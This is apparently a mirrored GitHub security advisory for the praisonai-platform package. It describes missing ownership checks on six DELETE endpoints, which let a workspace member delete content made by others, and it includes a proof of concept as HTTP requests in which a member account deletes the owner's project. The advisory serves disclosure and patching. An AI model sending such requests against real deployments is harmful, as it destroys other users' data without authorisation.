GHSA-RH39-9C67-59MH

Vulnerability from github – Published: 2026-06-18 13:58 – Updated: 2026-06-18 13:58
VLAI
Summary
PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API
Details

Summary

A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.

Details

The published role capability matrix explicitly restricts members from modifying others' content:

Capability Owner Admin Member
Create issues/tasks
Edit own content
Edit others' content

The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an owner/admin role. The result is that the member role has unrestricted DELETE access over all workspace content regardless of who created it.

Confirmed vulnerable endpoints:

Endpoint Expected Actual
DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id} 403 204
DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id} 403 204
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id} 403 204
DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id} 403 204
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id} 403 204
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} 403 204

The missing check is isolated to content resource DELETEs.

PoC

Requirements: Two accounts — owner (resource creator) and member (attacker).

1. Register both accounts

POST /api/v1/auth/register
Content-Type: application/json

{"email": "owner@example.com", "password": "Password1!", "name": "owner"}
POST /api/v1/auth/register
Content-Type: application/json

{"email": "member@example.com", "password": "Password1!", "name": "member"}

2. Owner creates workspace, adds member with member role

POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json

{"name": "Test Workspace"}
POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json

{"user_id": "<member_user_id>", "role": "member"}

3. Owner creates a project

POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json

{"title": "Owner's Project"}

Response 201 Created:

{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}

4. Member deletes the owner's project

DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>

Response: 204 No Content

5. Owner confirms the project is permanently gone

GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>

Response: 404 Not Found

{"detail": "Project not found"}

The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).


Impact

This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.

Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.4"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.4"
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:58:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA workspace member can permanently delete any resource \u2014 projects, agents, issues, labels, issue dependencies, and issue-label attachments \u2014 created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace\u0027s content irreversibly.\n\n### Details\nThe [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others\u0027 content:\n\n| Capability | Owner | Admin | Member |\n|---|---|---|---|\n| Create issues/tasks | \u2705 | \u2705 | \u2705 |\n| Edit own content | \u2705 | \u2705 | \u2705 |\n| Edit others\u0027 content | \u2705 | \u2705 | \u274c |\n\nThe DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it.\n\n**Confirmed vulnerable endpoints:**\n\n| Endpoint | Expected | Actual |\n|---|---|---|\n| `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 |\n\nThe missing check is isolated to content resource DELETEs.\n\n\n### PoC\n**Requirements:** Two accounts \u2014 owner (resource creator) and member (attacker).\n\n**1. Register both accounts**\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"owner@example.com\", \"password\": \"Password1!\", \"name\": \"owner\"}\n```\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"member@example.com\", \"password\": \"Password1!\", \"name\": \"member\"}\n```\n\n**2. Owner creates workspace, adds member with `member` role**\n\n```http\nPOST /api/v1/workspaces/\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"name\": \"Test Workspace\"}\n```\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/members\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"user_id\": \"\u003cmember_user_id\u003e\", \"role\": \"member\"}\n```\n\n**3. Owner creates a project**\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/projects/\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"title\": \"Owner\u0027s Project\"}\n```\n\nResponse `201 Created`:\n```json\n{\"id\": \"29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\", \"title\": \"Owner\u0027s Project\", ...}\n```\n\n**4. Member deletes the owner\u0027s project**\n\n```http\nDELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer \u003cmember_token\u003e\n```\n\nResponse: **`204 No Content`**\n\n**5. Owner confirms the project is permanently gone**\n\n```http\nGET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer \u003cowner_token\u003e\n```\n\nResponse: **`404 Not Found`**\n```json\n{\"detail\": \"Project not found\"}\n```\n\nThe same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).\n\n\n---\n\n### Impact\n\nThis is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content \u2014 the DELETE endpoints do not enforce this.\n\n**Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.",
  "id": "GHSA-rh39-9c67-59mh",
  "modified": "2026-06-18T13:58:03Z",
  "published": "2026-06-18T13:58:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…